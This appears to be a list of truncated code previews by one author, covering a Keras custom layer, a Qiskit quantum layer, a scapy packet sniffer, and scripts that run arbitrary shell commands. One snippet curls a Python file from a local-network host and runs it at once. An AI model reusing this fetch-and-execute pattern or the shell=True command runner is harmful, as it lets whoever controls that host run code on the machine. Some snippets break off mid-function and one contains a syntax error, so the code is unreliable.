NimishMishra

model.save("fiepath")

model = load_model("filepath", custom_objects={'Linear' : Linear})

NimishMishra

inputs = Input(...)
layer_2 = Dense(4, ...)(inputs)
layer_3 = Linear(name= "layer_3")(layer_2)
layer_4 = Linear(name="layer_4")(layer_3)
layer_5 = Linear(name="layer_5")(layer_4)
layer_6 = Linear(name="layer_6")(layer_5)
output = Dense(...,activation='softmax')(layer_6)
model = Model(inputs=inputs, outputs=output)

NimishMishra

class Linear(Layer):
    def __init__(self, batch_size=64, units=4,**kwargs):
        super(Linear, self).__init__(**kwargs)
        )

    def get_config(self):
        config = super(Linear, self).get_config()
        return config

    def call(self, inputs):

NimishMishra

from qiskit.aqua.operators import Z, Y, X
from qiskit.aqua.operators import StateFn

QUBITS = 4
operatorZ = Z ^ Z ^ Z ^ Z
operatorX = X ^ X ^ X ^ X
operatorY = Y ^ Y ^ Y ^ Y

def quantum_layer(initial_parameters):
    # expecting parameters to be a numpy array

NimishMishra

from collections import Counter
from scapy.all import sniff


packet_counts = Counter()

def custom_action(packet):
    key = tuple(sorted([packet[0][1].src, packet[0][1].dst]))
    packet_counts.update([key])
    return f"Packet #{sum(packet_counts.values())}: {packet[0][1].src} ==> {packet[0][1].dst}"

NimishMishra

import subprocess
import os
import time
import requests


def run_command(command):

    command = command.rstrip()
    

NimishMishra

import subprocess

def run_command(command):

    command = command.rstrip()
    
    try:
        output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
    except Exception as e:
        output = "Failed to execute command " + str(e)

NimishMishra

import subprocess
import time
import os
import sys
import signal

loaded_files = []
data = ""

def run_command(command):

NimishMishra

def run_scripts():
    current_dir = os.getcwd()
    for filename in os.listdir(current_dir):
        if(filename != "setup_server.py" and filename != "downloader.py"):
            try:
                dot_index = filename.index(".")
                extension = filename[dot_index + 1:]
                if(extension == "py"):
                    command_list = []
                    command_list.append("python3")

NimishMishra

loaded_files = []
def refresh_downloader():
    COMMAND = "curl http://192.168.43.38:9000/downloader.py -o downloader.py"
    run_command(COMMAND)
    COMMAND = "python3 downloader.py"
    command_split = COMMAND.split(" ")
    subprocess.Popen(command_split)
    os._exit(os.EX_OK)

def fetch_directory_list():